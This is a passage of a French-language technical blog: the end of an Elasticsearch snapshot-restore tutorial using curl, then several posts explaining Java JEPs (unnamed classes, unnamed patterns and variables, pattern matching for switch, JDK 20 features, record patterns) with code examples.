	"acknowledged": true
}

Nous allons pouvoir lister les sauvegardes possibles :

curl --request GET \
  --insecure --header 'Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI' \
  --url 'https://ADR_INSTANCE_B:9200/_snapshot/restore/*?verbose=false'

Nous obtenons le résultat suivant :

{
	"snapshots": [
		{
			"snapshot": "backup_20230730",
			"uuid": "xXYjHpcDRHmRXlN9ey3XXA",
			"repository": "restore",
			"indices": [
				".security-7",
				"mon-index"
			],
			"data_streams": [],
			"state": "SUCCESS"
		}
	],
	"total": 1,
	"remaining": 0
}

Nous avons bien notre sauvegarde backup_20230730 contenant deux index dont mon-index

Maintenant, nous allons pouvoir lancer la restauration avec la commande suivante :

curl --request POST \
  --insecure --header 'Authorization: Basic CHAINE_ENCODE_A_RENSEIGNER_ICI' \
  --url https://ADR_INSTANCE_B:9200/_snapshot/restore/backup_20230730/_restore \
  --header 'Content-Type: application/json' \
  --data '{
  "indices": "mon-index"
}'

Dans le cas ci-dessus, j’ai filtré pour restaurer uniquement l’index qui m’intéresse.

En retour, vous obtenez le message suivant :

{
	"accepted": true
}

Il faudra attendre en fonction du volume des données mais sinon voila le tour est joué.

Références

JEP 445, Unnamed Classes and Instance Main Methods (Preview)

dim., 25 juin 2023 00:00:00 +0200

Table of Contents

Contexte
Principe
Exécution
Détails sur le lancement
Détails sur la classe sans nom
Références

Contexte

L’objectif de cette JEP est de faciliter l’apprentissage du langage Java pour les étudiants, en enlevant certaines "cérémonies" du langage.

Cela permet à l’étudiant d’appréhender plus facilement le langage et d’ajouter les fonctionnalités et la complexité au fûr et à mesure de son apprentissage.

Pour rappel, un exemple de premier programme correspond au code suivant :

public class Bonjour {
    public static void main(String[] args) {
        System.out.println("Bonjour à tous !");
    }
}

Exemple de syntaxe qui peut dérouter l’étudiant

Déclaration d’une classe publique avec le mot réservé class
Utilisation de String[] pour les paramètres
Le modificateur static est généralement troublant au début.

Pour autant, il ne faut pas avoir

Un langage différent pour l’apprentissage
Un ensemble d’outils différents pour la construction ces programmes

Principe

Le second principe est de considérer une classe sans nom qui sera créé automatiquement (d’où le nom : Unnamed Classes).

Cela donne le code suivant comme résultat :

void main() {
    System.out.println("Bonjour à tous !");
}

Exécution

Nous pouvons passer par le compilateur, puis par la JVM. N’oubliez pas que c’est une fonctionnalité en aperçu, donc il faudra l’option --enable-preview

L’utilisation de l’option --enable-preview demandera de préciser le niveau de la source ou de la release.

Nous avons avec le schéma classique avec le compilateur

javac --release 21 --enable-preview Bonjour.java
java --enable-preview Bonjour

Depuis la JEP 330 (Launch Single-File Source-Code Programs), disponible depuis le JDK 11, nous pouvons passer par une et une seule commande:

java --source 21 --enable-preview Bonjour.java

Dans les deux cas, nous obtenons l’exécution suvante :

Note: Main.java uses preview features of Java SE 21.
Note: Recompile with -Xlint:preview for details.
Bonjour à tous!

Détails sur le lancement

Lors du lancement d’un programme, la méthode m̀ain exécutée est choisie parmi les méthodes suivantes en respectant cet ordre :

static void main(String[])
static void main()
void main(String [])
void main()

La méthode doit être déclarée comme une méthode non privée (c’est à dire avec la visibilité publique, protégée ou package).

Détails sur la classe sans nom

Il est possible de définir des variables. Ils seront traduits par attributs de la classe.

String bonjour = "Bonjour à tous!";

void main() {
    System.out.println(bonjour);
}

De même, pour les fonctions.

String bonjour() { return "Bonjour à tous!"; }

void main() {
    System.out.println(bonjour());
}

Références

JEP 443, Unnamed Patterns and Variables (Preview)

dim., 28 mai 2023 00:00:00 +0200

Table of Contents

Contexte
Principe
Motifs non utilisés
Variables non utilisées
Histoire du souligné
Références

Contexte

Les motifs pour les enregistrements (JEP 440 - Records Pattern) permettent justement de déconstruire les enregistrements via leurs composants. De ce fait, nous pouvons avoir des noms et des types de composants qui nous n’intéresse pas. Cela nous devons tout de même les définir.

Voici un exemple avec le code suivant :

record Point(int x, int y) { }
enum Couleur { ROUGE, VERT, BLEU }
record PointColore(Point p, Couleur c) { }

var s = new PointColore(new Point(3,4), Couleur.VERT);

if (r instanceof PointColore(Point p, Couleur c)) { (1)
    // nous pouvons utiliser p.x()
    // ainsi que p.y()
}

Il a été nécessaire de définir la variable c de type Couleur

De leur côté, les variables non utilisées sont liées à la programmation impérative.

Voici un exemple pour le traitement des exceptions :

String chaine = ...;
try {
    int entier = Integer.parseInt(chaine);
    // On utilise entier
} catch (NumberFormatException ex) { (1)
    System.out.println("Chaîne n'est pas un nombre : " + chaine);
}

La variable ex de type NumberFormatException doit être définie même si elle n’est pas utilisée.

Principe

Le principe est d’enrichir le langage java avec les motifs sans nom et les variables sans nom. Les deux pourront être notés par le caractère souligné _.

C’est une fonctionnatité en mode aperçu.

Pour activer ce mode, je vous conseille cette article JEP 12 - Mode Aperçu

Motifs non utilisés

En reprenant, l’exemple ci-dessus sur les enregistrements, nous pouvons utiliser le caractère souligné _ à la place de la variable non utilisée dans le motif suivant :

if (o instanceof Point(_, int y)) {
   // Utilisation de y
   ...
}

Nous pouvons le faire sur plusieurs niveaux de composition. Ci-dessous on ignore le composant Couleur :

if (r instanceof PoinColore(Point(int x, int y), _)) {  (1)
   // Utilisation de x
   // et de y
   ...
}

La composant Couleur ne nous intéresse pas (le nom et le type)

Inversement, cela peut être seulement la couleur qui nous intéresse?

if (r instanceof PoinColore(_, Couleur c)) {
   // Utilisation uniquement de c
   ...
}

ou uniquement la coordonnée x de notre point

if (r instanceof PoinColore(Point(int x, _), _)) {
   // Utilisation seulement de  x
   ...
}

Variables non utilisées

Déclaration d’affectation

C’est le cas simple de l’affectation où la variable n’est pas utilisée..

Par exemple, une liste de nombre où x1, y1, z1 et consorts. A chaque fois, ceux sont les deux premiers nombres qui sont utiles. Nous pouvons écrire le code suivant::

Queue<Integer> q = ... // x1, y1, z1, x2, y2, z2, ...
while (q.size() >= 3) {
   var x = q.remove();
   var y = q.remove();
   var _ = q.remove();
   ... new Point(x, y) ...
}

Et si c’est que la valeur x qui est utile, nous aurions donc cela :

while (q.size() >= 3) {
    var x = q.remove();
    var _ = q.remove();
    var _ = q.remove();
    ... new Point(x, 0) ...
}

Bloc catch

En reprenant l’exemple plus haut, nous n’avons plus besoin de nommer la variable du catch car nous ne l’utilisons pas.

Cela donne le code suivant ;

String chaine = ...;
try {
    int entier = Integer.parseInt(chaine);
    // On utilise entier
} catch (NumberFormatException _) {
    System.out.println("Chaîne n'est pas un nombre : " + chaine);
}

Cela est aussi valable avec plusieurs bloc catch.

String chaine = ...;
try {
    int entier = Integer.parseInt(chaine);
    // On utilise entier
} catch (NumberFormatException _) {
    System.out.println("Chaîne n'est pas un nombre : " + chaine);
} catch (NumberFormatException _) {
} catch (Throwable _) {
}

Construction `try-with-ressources`

Cela donne simplement le code suivant :

try (var _ = ScopedContext.acquire()) {
    // Aucun utilisation de la ressource acquis précédemment
    ...
}

Boucle

Cela est valable pour les boucles si les variables ne sont pas utilisées, comme dans l’exemple ci-dessous :

int acc = 0;
for (Commande _ : commandes) {
    if (acc < LIMITE) {
        acc++
        ...
    }
}

Lambda

Le caractère souligné _ peut être utilisé si le paramètre non pertinent.

...stream.collect(Collectors.toMap(String::toUpperCase, _ -> "NODATA"))

Histoire du souligné

Le simple souligné _ est une syntaxe valide depuis Java 1.0, dont nous pouvions l’utiliser en tant qu’identifiant.

Le processus qui a permit de réaliser des motifs et variables sans nom aujourd’hui a commencé en 2014 avec Java 8. En effet, à partir de cette version, le compilateur émettait un avertissement si un simple souligné était utilisé comme identifiant.

Puis, en 2017, en java 9 avec la JEP 213: Milling Project Coin, l’avertissement passe à une erreur de compilation pour l’utilisation du simple souligné _.

Les identifiants commençant par le caractère souligné _ est encore valide (si il est suivi de lettres).

Références

JEP 441, Pattern Matching for switch

dim., 21 mai 2023 00:00:00 +0200

Table of Contents

Contexte
Principe
Références

Contexte

Le principe est comme le filtrage par motif pour instanceof mais en l’appliquant à l’instruction switch.

Pour plus d’informations sur le filtrage par motif pour instanceof, je vous conseille cette article JEP 394 - Pattern Matching for instanceof

Cette fonctionnalité a connu trois aperçu

JEP 406 inclus dans le JDK 17
JEP 420 inclus dans le JDK 18
JEP 427 inclus dans le JDK 19

Maintenant, c’est bien une fonctionnalité standard qui sera inclus dans le JDK 21.

Principe

Reprenons, le principe. Avant cette fonctionnalité, nous avons le code suivant :

static String formatter(Object o) {
    String formatted = "unknown";
    if (o instanceof Integer i) {
        formatted = String.format("int %d", i);
    } else if (o instanceof Long l) {
        formatted = String.format("long %d", l);
    } else if (o instanceof Double d) {
        formatted = String.format("double %f", d);
    } else if (o instanceof String s) {
        formatted = String.format("String %s", s);
    }
    return formatted;
}

Nous allons pouvoir simplifier l’écriture du code en utilisant un filtrage par motif au niveau du switch (et même une expression switch).

static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -> String.format("int %d", i);
        case Long l    -> String.format("long %d", l);
        case Double d  -> String.format("double %f", d);
        case String s  -> String.format("String %s", s);
        default        -> o.toString();
    };
}

Dominance des étiquettes de cas

Il se peut que plusieurs étiquettes soient possibles. Il a été défini que c’est l’ordre apparition qui serait pris en compte. Cela fonctionne comme pour les exceptions.

Prenons un exemple avec les classes suivantes : Forme, Rectangle et Triangle :

class Forme {}
class Rectangle extends Forme {}
class Triangle  extends Forme { int calculerAire() { ... } }

Nous pouvons écrire le code suivant en respectez bien l’ordre.

static void first(Object obj) {
    switch (obj) {
        case Triangle t ->
            System.out.println("C'est un triangle : " + t.calculerAire());
        case Forme f ->
            System.out.println("C'est une forme");
        default -> {
            break;
        }
    }
}

Sinon, cela ne compile pas comme le code suivant :

static void first(Object obj) {
    switch (obj) {
        case Forme f ->
            System.out.println("C'est une forme");
        case Triangle t ->                            (1)
            System.out.println("C'est un triangle : " + c.calculerAire());
        default -> {
            break;
        }
    }
}

ERREUR, un motif est dominé par un motif précédent (Triangle est une Forme)

Dans les exemples, nous manipulatons beaucoup les types mais les étiquettes constantes fonctionnent aussi bien. Voici un exemple:

Integer i = ...
switch (i) {
    case -1, 1 -> ...                   (1)
    case Integer j -> ...               (2)
}

Cas spécifique
Tous les autres cas

Raffinement des cas

Au delà du motif avec le type correspondant, nous pourrions avoir des conditions supplémentaires qui permet de raffiner le cas.

Nous pouvons traiter par type, entre Rectangle et Triangle. Cependant, nous aimerions définir des conditions supplémentaires. Par exemple, nous voulons traiter les triangles dont l’aire est supérieur à 100. Voici le code que nous devons écrire :

static void testTriangle(Forme f) {
    switch (f) {
        case null:
            break;
        case Triangle t:
            if (t.calculerAire() > 100) {
                System.out.println("Grand triangle");
                break;
            }
        default:
            System.out.println("Une forme, qui peut être un petit triangle");
    }
}

Pour cela, un nouveau mot-clé when existe. Il permet de raffiner le cas. Dans notre exemple, nous avons t.calculateArea() > 100

static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() > 100 ->
            System.out.println("Grand triangle");
        default ->
            System.out.println("Une forme, qui peut être un petit triangle");
    }
}

Là encore, il est possible de mixer les composants :

static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() > 100 ->
            System.out.println("Grand triangle");
        case Triangle t ->
            // Soit les triangles inférieur ou égale à 100
            System.out.println("Petit triangle");
        default ->
            System.out.println("Forme autre que triangle");
    }
}

Gestion des `enum` comme étiquette des cas

Prenons le code suivant qui défini une énumération PILE et FACE

sealed interface Monnaie permits Piece {}
enum Piece implements Monnaie { PILE, FACE }

Nous pouvons écrire la fonction suivante :

static void bonEnumSwitch1(Monnaie m) {
    switch (m) {
        case Piece.FACE -> {    (1)
            System.out.println("Face");
        }
        case Piece.PILE -> {
            System.out.println("Pile");
        }
    }
}

Nom qualifié de la constante est utilisé comme étiquette

static void bonEnumSwitch2(Piece p) {
    switch (p) {
        case FACE -> {
            System.out.println("Face");
        }
        case Piece.PILE -> {    (1)
            System.out.println("Pile");
        }
    }
}

Nom qualifié n’est pas nécessaire mais cela reste autorisé.

En revanche, le code suivant ne compile pas

static void mauvaisEnumSwitch(Monnaie m) {
    switch (m) {
        case Piece.FACE -> {
            System.out.println("Face");
        }
        case PILE -> {         (1)
            System.out.println("Pile");
        }
        default -> {
            System.out.println("Some currency");
        }
    }
}

ERREUR. Le nom qualifié doit être utilisé pour PILE car le type est Monnaie et non Piece.

Gestion du `null`

Jusqu’à présent, la déclaration où l’expression switch avec une valeur null lève une exception NullPointerException. C’est pourquoi, généralement, le switch est protégé par l’instruction if.

static void testFooBar(String s) {
    if (s == null) {
        System.out.println("Oops!");
        return;
    }
    switch (s) {
        case "Foo", "Bar" -> System.out.println("Great");
        default           -> System.out.println("Ok");
    }
}

Maintenant, nous pourrons écrire un label null pour traiter ce cas. Ainsi, nous pouvons écrire :

static void testFooBar(String s) {
    switch (s) {
        case null         -> System.out.println("Oops");
        case "Foo", "Bar" -> System.out.println("Great");
        default           -> System.out.println("Ok");
    }
}

Le label peut être mélangé avec un autre. Ainsi, nous pouvons écrire par exemple :

static void testStringOrNull(Object o) {
    switch (o) {
        case null, String s -> System.out.println("String: " + s);
        default -> System.out.println("Something else");
    }
}

Pour de raisons de compatibilité, si la valeur du sélecteur est nulle, le switch lève une exception NullPointerException.

C’est à dire que le code suivant :

static void test(Object o) {
    switch (o) {
        case String s  -> System.out.println("String: " + s);
        case Integer i -> System.out.println("Integer");
        default        -> System.out.println("default");
    }
}

est équivalent à celui-ci

static void test(Object o) {
    switch (o) {
        case null      -> throw new NullPointerException();
        case String s  -> System.out.println("String: "+s);
        case Integer i -> System.out.println("Integer");
        default        -> System.out.println("default");
    }
}

Là encore, c’est le compilateur qui fait le travail.

Cela signifie aussi que le label default ne peut pas correspondre à la valeur nulle. En revanche, nous pouvons le traiter comme tel si nous le souhaitons

static void test(Object o) {
    switch (o) {
        case String s  -> System.out.println("String: "+s);
        case Integer i -> System.out.println("Integer");
        case null, default        -> System.out.println("default ou nulle");
    }
}

Exhaustivité des expressions et des instructions

L’expression switch requiert que toutes les valeurs possibles soient prises en compte dans un bloc du switch.

Par conséquent, le code suivant est erroné :

static int coverage(Object obj) {
    return switch (obj) {           (1)
        case String s -> s.length();
    };
}

Erreur car non exhaustif (String est seulement une possibilité pour un Object)

Nous poursuivons en complétons l’expression switch

static int coverage(Object obj) {
    return switch (obj) {           (1)
        case String s -> s.length();
        case Integer i -> i;
    };
}

Erreur car toujours pas exhaustif (String et Integer ne couvrent pas tous les cas)

Pour couvrir tous les cas, nous allons utiliser l’étiquette default.

static int coverage(Object obj) {
    return switch (obj) {
        case String s -> s.length();
        case Integer i -> i;
        default -> 0;
    };
}

De ce fait, nous pouvons utiliser le compilateur pour nous aider.

Partons sur le code suivant avec la définition de l’énumération Couleur (Rouge et Bleu) et une expression switch

enum Couleur { ROUGE, BLEU }

int nombreLettres = switch (couleur) {
    case ROUGE -> 5;
    case BLEU -> 4;
}

Maintenant, si on ajoute une nouvelle Couleur. Nous avons une erreur de compilation pour les expressions switch qui ne sont pas à jour

enum Couleur { ROUGE, BLEU, ORANGE }

int nombreLettres = switch (couleur) { (1)
    case ROUGE -> 5;
    case BLEU -> 4;
}

Erreur cas tous les cas ne sont pas couverts.

Donc, il sera nécessaire de corriger afin que la compilation fonctionne

enum Couleur { ROUGE, BLEU, ORANGE }

int nombreLettres = switch (couleur) { (1)
    case ROUGE -> 5;
    case BLEU -> 4;
    case ORANGE -> 6;
}

Là encore, le compilateur est notre allié.

D’où l’intérêt d’éviter l’usage de l’étiquette default car sinon nous perdons l’avantage de ces contrôles par le compilateur.

Ce principe fonctionne aussi avec les classes scellées. Le compilateur provoque des erreurs si nous modifions la hiérarchie.

Exhaustivité et compatibilité

Le principe d’exhaustivité s’appliquent sur l’expression switch et l’instruction switch. Cependant, pour des raisons de compatibilité, les instructions switch existant dans le code continuent à compiler même si l’exhaustivité n’est pas respecté, à condition qu’aucune nouvelle fonctionnalité soit utilisée.

ealed interface S permits A, B, C {}
final class A implements S {}
final class B implements S {}
record C(int i) implements S {}    (1)

static void switchStatementExhaustive(S s) {
    switch (s) {                   (2)
        case A a :
            System.out.println("A");
            break;
        case C c :
            System.out.println("C");
            break;
    };
}

Implicitement final car c’est un enregistrement.
Normalement il devrait avoir une erreur car le switch n’est pas exhaustive. Cependant, l’absence de la classe B est permise pour des raisons de compatibilité.

Portée des variables des motifs

La portée des variables est étendu dans trois cas.

Portée d’une déclaration de variable de motif, incluant la condition (mot réservé when).

Cela donne le code suivant :

static void testPortee1(Object obj) {
    switch (obj) {
        case Character c
        when c.charValue() == 7:
            System.out.println("Ding!");
            break;
        default:
            break;
    }
}

Portée d’une déclaration de variable de motif dans une étiquette incluant l’expression, le bloc ou l’instruction throw qui apparaît à droite de la flèche.

Voici l’illustration avec le code suivant :

static void testPortee2(Object obj) {
    switch (obj) {
        case Character c -> {
            if (c.charValue() == 7) {
                System.out.println("Ding!");
            }
            System.out.println("Character");
        }
        case Integer i ->
            throw new IllegalStateException("Argument invalide: "
                                            + i.intValue());
        default -> {
            break;
        }
    }
}

Portée d’une déclaration de variable de motif incluant un groupe d’instructions avec étiquette. La déclaration d’une variable de motif est interdit

Nous avons le code valide

static void testPorteValide(Object obj) {
    switch (obj) {
        case Character c:
            if (c.charValue() == 7) {
                System.out.print("Ding ");
            }
            if (c.charValue() == 9) {
                System.out.print("Tab ");
            }
            System.out.println("Character");
        default:
            System.out.println();
    }
}

En revanche, voici le code invalide

tatic void testScopeError(Object obj) {
    switch (obj) {
        case Character c:
            if (c.charValue() == 7) {
                System.out.print("Ding ");
            }
            if (c.charValue() == 9) {
                System.out.print("Tab ");
            }
            System.out.println("character");
        case Integer i:                 (1)
            System.out.println("An integer " + i);
        default:
            break;
    }
}

Erreur pendant la compilation

Références

JDK 20 Nouveautés

lun., 27 mars 2023 00:00:00 +0200

Table of Contents

Contexte
Fonctionnalités en mode Aperçu
Fonctionnalités en mode Incubation
Références

Contexte

La version 20 du JDK est disponible depuis mardi 21 mars 2023 sur le site jdk.java.net.

La version 20 n’est pas une version LTS (Long Term Support). Par conséquent, le support existe tant que la prochaine version n’est pas sortie, soit le JDK 21 (septembre 2023).

Pour Eclipse Adoptium, les packages sont en cours de construction selon les plateformes. L’avancé des travaux peut être suivi avec la fiche suivante issue #218

Fonctionnalités en mode Aperçu

432 - Record Patterns (Second Preview)

L’objectif est d’appliquer le filtrage par motif au niveau des enregistrements.

Pour plus de précision sur le filtrage par motif, vous pouvez consulter ce billet.

Pour plus de précision sur les enregistrements, vous pouvez consulter ce billet.

Pour un enregistrement, nous pouvons de définir des classes sous une forme simplifiée.

record Point(int x, int y) {}

A l’aide du filtrage par motif pour instanceof, nous pouvons écrire le code suivant :

static void afficheSomme(Object o) {
    if (o instanceof Point p) {
        int a = p.x();
        int b = p.y();
        System.out.println(a + b);
    }
}

Maintenant, nous allons pouvoir aller plus loin en écrivant tout simplement le code suivant :

void afficheSomme(Object o) {
    if (o instanceof Point(int a, int b)) {
        System.out.println(a + b);
    }
}

Plus d’informations sur le billet dédié sur le premier aperçu.

Ce second aperçu apporte

la suppression du support des filtrages par motif pour les enregistrements nommées
le support de l’inférence de type pour les filtrages par motif pour les enregistrements génériques.
le support de l’utilisation de l’enregistrement au niveau de l’instruction for

Nous allons détailler le dernier point par un exemple.

static void dump(Point[] pointArray) {
    for (Point(var x, var y) : pointArray) {           (1)
        System.out.println("(" + x + ", " + y + ")");
    }
}

Filtrage par motif au niveau de l’en-tête de l’instruction for

433 - Pattern Matching for switch (Fourth Preview)

C’est le quatrième aperçu, l’objectif reste le même. C’est à dire simplifier l’écriture du code en utilisant le filtrage par motif pour les switch.

Par exemple, nous avons le code suivant :

static String formatter(Object o) {
    String formatted = "unknown";
    if (o instanceof Integer i) {
        formatted = String.format("int %d", i);
    } else if (o instanceof Long l) {
        formatted = String.format("long %d", l);
    } else if (o instanceof Double d) {
        formatted = String.format("double %f", d);
    } else if (o instanceof String s) {
        formatted = String.format("String %s", s);
    }
    return formatted;
}

Avec le filtrage par motif au niveau des switch, nous obtenons le code suivant :

static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -> String.format("int %d", i);
        case Long l    -> String.format("long %d", l);
        case Double d  -> String.format("double %f", d);
        case String s  -> String.format("String %s", s);
        default        -> o.toString();
    };
}

A travers les différentes propositions, nous avons les améliorations suivantes :

Dominance entre les types et les sous-types

static void error(Object o) {
    switch(o) {
        case CharSequence cs ->
            System.out.println("Longueur d'une séquence : " + cs.length());
        case String s ->    // Erreur, le motif est dominé par le motif précédent
            System.out.println("Une chaîne de caractère : " + s);
        default -> {
            break;
        }
    }
}

Pour rappel, nous avons la hiérarchie suivante pour la classe String

Exhaustivité des expressions

static int coverage(Object o) {
    return switch (o) {         // Erreur - pas exhaustif
        case String s  -> s.length();
        case Integer i -> i;
    };
}

L’expression switch précédent est en erreur car le switch est réalisé sur Object, donc tous les cas ne sont pas traités.

static int coverage(Object o) {
    return switch (o) {
        case String s  -> s.length();
        case Integer i -> i;
        default -> 0;
    };
}

Donc, il est nécessaire d’ajouter des cas (ou à minima default) pour couvrir tous les autres cas.

Support du `null`

Cela devient tout simplement un cas que nous pouvons traiter sans être obligé de protéger le switch.

static void test(Object o) {
    switch (o) {
        case null      -> throw new NullPointerException();
        case String s  -> System.out.println("String: "+s);
        case Integer i -> System.out.println("Integer");
        default        -> System.out.println("default");
    }
}

Raffinement des cas

Le mot clé when est introduit afin d’affiner le cas du switch. Dans l’exemple ci-dessous, nous avons deux cas pour traiter les Triangles :

Triangle avec une aire supérieur à 100
Les autres triangles

static void testTriangle(Shape s) {
    switch (s) {
        case null ->
            { break; }
        case Triangle t
        when t.calculateArea() > 100 ->
            System.out.println("Large triangle");
        case Triangle t ->
            System.out.println("Small triangle");
        default ->
            System.out.println("Non-triangle");
    }
}

Dans le dernier aperçu, nous avons quelques précisions supplémentaires :

Dans le cas de l’exhaustivité du switch, c’est un MatchException au lieu de IncompatibleClassChangeError si un label est manquant dans le cas de traitement d’un Enum (lors de l’exécution).
Simplification de la grammaire
Inférence des types pour le filtrage par motif pour les enregistrements génériques (comme pour la JEP précédente)

Plus d’informations sur le billet dédié sur le premier aperçu.

Plus d’informations sur le billet dédié sur le troisième aperçu.

434 - Foreign Function & Memory API (Second Preview)

Cet aperçu correspond à la réunification de JEP en incubation Foreign Memory Access API et Foreign Linker API.

Les travaux sont menés dans le cadre du projet Panama. L’objectif est de faciliter l’utilisation de module natif.

Dans ce cadre, il est un remplaçant de JNI (Java Native Interface). Il apporte un modèle purement Java.

Les performances ne sont pas oubliés. Il doit être à minima aussi mieux que l’utilisation de la fameux classe sun.misc.Unsafe

Le but est de fournir un moyen de manipuler des différents zones mémoires (la mémoire native, mémoire persistante, mémoire de la pile managé) et d’utiliser des fonctions écrites dans d’autres langages (comme C, C++).

Voici un exemple d’utilisation pour allouer de la mémoire

try (Arena offHeap = Arena.openConfined()) {
    MemorySegment nativeArray  = offHeap.allocateArray(ValueLayout.JAVA_INT, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9);
    MemorySegment nativeString = offHeap.allocateUtf8String("Hello!");
    MemorySegment upcallStub   = linker.upcallStub(handle, desc, offHeap.scope());
   ...
}  (1)

La mémoire est libéré à ce niveau

Nous pouvons rechercher une fonction d’une librairie externe

try (Arena arena = Arena.openConfined()) {
    SymbolLookup opengl = SymbolLookup.libraryLookup("libGL.so", arena);
    MemorySegment glVersion = opengl.find("glGetString").get();
    ...
} (1)

La librairie libGl.so est déchargée à ce niveau

Prenons un exemple concret de recherche et d’appel de fonction externe. Pour cela, nous allons utiliser la fonction strlen. La signature de la fonction est la suivante :

size_t strlen(const char *s);

Nous recherchons cette fonction en précisant le type de retour.

Linker linker = Linker.nativeLinker();
MethodHandle strlen = linker.downcallHandle(
    linker.defaultLookup().find("strlen").get(),
    FunctionDescriptor.of(JAVA_LONG, ADDRESS)
);

Nous avons récupéré la référence strlen vers la fonction éponyme. Ainsi, nous allons pouvoir l’appeler.

try (Arena arena = Arena.openConfined()) {
    MemorySegment str = arena.allocateUtf8String("Hello"); // (1)
    long len          = strlen.invoke(str);                // (2)
} (3)

Nous allouons de la mémoire native.
La fonction retourne 5.
La mémoire allouée dans le bloc est libérée.

436 - Virtual Threads (Second Preview)

C’est intégration des travaux du projet #loom.

L’objectif est de revoir la gestion de la concurrence. Les threads du système (appellés aussi threads plateforme) sont coûteux en mémoire et par conséquent limité vis à vis du système.

Pour cela, l’équipe a mis en place les threads virtuels. Ceux sont des threads gérés par la JVM.

Pour assurer la compatibilité, ils ont gardé la même interface Runnable

class HelloRunnable implements Runnable {
    public void run() {
        System.out.println(Thread.currentThread() + " dit Coucou");
    }
}

Pour la création et le lancement d’un thread virtuel, il suffit de passer par la méthode ofVirtual :

Thread.ofVirtual.start(new HelloRunnable());

Lors de l’affichage du thread virtuel, nous obtenons la sortie suivante :

VirtualThread[#25]/runnable@ForkJoinPool-1-worker-1 dit Coucou

Nous pouvons remarquer que le thread virtuel tourne bien au final sur un thread plateforme. Un pool ForkJoin spécifique a été mis en place pour cela.

L’intérêt est que nous pouvons avoir plein de threads virtuels. C’est la JVM qui les gère. Le thread virtuel reste associé à un thread système.

L’équivalent existe pour les threads plateformes avec la méthode ofPlatform :

Thread.ofPlatform.start(new HelloRunnable());

Plus d’informations sur le sur le billet dédié.

Fonctionnalités en mode Incubation

429 - Scoped Values (Incubator)

Les valeurs délimitées (Scoped Values) sont introduites pour faciliter le partage des données immutables entre les threads. Leur utilisation est préférable à la place des variables locales (ThreadLocal). Surtout, si vous utilisez de nombreux, très nombreux threads virtuels.

Les variables locales sont attachées aux threads. La donnée peut être mutable avec quiconque qui peut faire un appel de la méthode get() ou set(). Le développpeur peut aussi oublier de nettoyer les variables locales. De ce fait, la portée est plus grande que prévue initialement au départ.

A la différence, les valeurs délimités ont une structure syntaxique qui permet de déterminer la période où le thread associé peut y accèder.

class Server {
    final static ScopedValue<Principal> PRINCIPAL = new ScopedValue<>();   // (1)

    void serve(Request request, Response response) {
        var level     = (request.isAdmin() ? ADMIN : GUEST);
        var principal = new Principal(level);
        ScopedValue.where(PRINCIPAL, principal)
                   .run(() -> Application.handle(request, response));      // (2)
    }
}

Définition de la valeur délimitée
La valeur est accessible uniquement dans la méthode run()

Pour y accèder, nous passons par le code suivant :

DBConnection open() {
    var principal = Server.PRINCIPAL.get();                               // (1)
    if (!principal.canOpen()) throw new  InvalidPrincipalException();
    return newConnection(...);
}

Utilisation de la valeur délimitée

Cela fonctionne uniquement si l’appel de la méthode open() est effectuée dans un bloc where(…) et run(…)

437 - Structured Concurrency (Second Incubator)

Avec les threads virtuels, l’utilisation de pool avec les exécuteurs n’est plus le modèle de concurrence adéquate.

En effet, maintenant, il est possible d’avoir plusieurs milliers ou millions de threads virtuels. Pour cela, il est nécessaire d’avoir un nouveau style de programmation plus adapté qui pourra éliminer les problèmes d’annulation et d’arrêt de thread.

Voici le code où nous pouvons voir trois partie :

Définition de l’ensemble es Future
Mise en place de la barrière pour les threads créés précédemment.
Suite des opérations car la barrière a été franchie avec succès.

Response handle() throws ExecutionException, InterruptedException {
    try (var scope = new StructuredTaskScope.ShutdownOnFailure()) {     // (1)
        Future<String>  user  = scope.fork(() -> findUser());
        Future<Integer> order = scope.fork(() -> fetchOrder());

        scope.join();           // Barrière pour les deux threads
        scope.throwIfFailed();  // ... et propage les erreurs s'il y a en

        // Ici, nous savons que les deux threads sont terminés avec succès
        // et que nous avons leur résultat.
        return new Response(user.resultNow(), order.resultNow());
    }
}

Arrêt s’il y a un échec sur au moins un Thread

Il existe plusieurs politiques pour configurer la barrirère et surtout il est possible d’écrire la sienne.

438 - Vector API (Firth Incubator)

L’API Vectorielle a été proposée la première fois dans le JDK 16.

L’objectif est de fournir une API afin de fournir un mécanisme pour exprimer des calculs vectoriels. Elle utilise les instructions vectorielles optimales sur les architectures CPU prises en charge. Cela permet d’obtenir des performances accrues vis à vis des calculs scalaires

Les performances ont été améliorées dans cette version. Notamment, pour traduire les vecteurs d’objets vers et depuis les tableaux booléens.

Références

JDK 20

JEP 405, Record Patterns (Preview)

dim., 12 juin 2022 00:00:00 +0200

Table of Contents

Contexte
Le principe
- Pour aller plus loin
Support des génériques
Exhaustivité du switch
Références

Contexte

Le mois dernier, nous avons parlé du filtrage par motif pour le cas de l’instruction switch. La première utilisation de ce principe a été pour le filtrage par motif pour instanceof (JEP 406)

Pour rappel, nous avions avant ce type de code :

if (obj instanceof String) {
    String s = (String) obj;
    // utilisation de s
}

Maintenant, nous pouvons écrire simplement le code suivant :

if (obj instanceof String s) {
    // utilisation de s en tant que chaine de caractere
    ... s.contains(..);
} else {
    // pas possible d'utiliser la variable s
}

vous pouvez consulter ce billet pour avoir plus d’informations.

Côté des enregistrements (Record), cela a été introduit dans le JDK14 en mode aperçu.

Pour rappel, cela permet de définir des classes sous une forme simplifiée.

record Point(int x, int y) {}

Pour plus de précision, vous pouvez consulter ce billet.

Voilà pour le contexte, passons au principe de cette JEP.

Le principe

L’objectif est d’écrire du code utilisant les deux fonctionnalités précédentes : Les enregistrements (Record) et les motifs (Patterns).

Prenons la définition de l’enregistrement Point suivant :

record Point(int x, int y) {}

D’ores et déjà, nous pouvons écrire le code suivant avec le filtrage par motif pour instanceof:

static void afficheSomme(Object o) {
    if (o instanceof Point p) {
        int a = p.x();
        int b = p.y();
        System.out.println(a + b);
    }
}

A l’inverse, les enregistrements (Record) mettent en avant leur structure interne. L’enregistrement Point est composé d’une valeur x et d’une valeur y.

Par ce principe, nous allons pouvoir écrire l’instruction instanceof comme ceci :

void afficheSomme(Object o) {
    if (o instanceof Point(int a, int b)) {
        System.out.println(a + b);
    }
}

Pour aller plus loin

Nous pouvons manipuler des enregistrements plus complexe. Par exemple, prenons un enregistrement Rectangle qui est composé de deux Point:

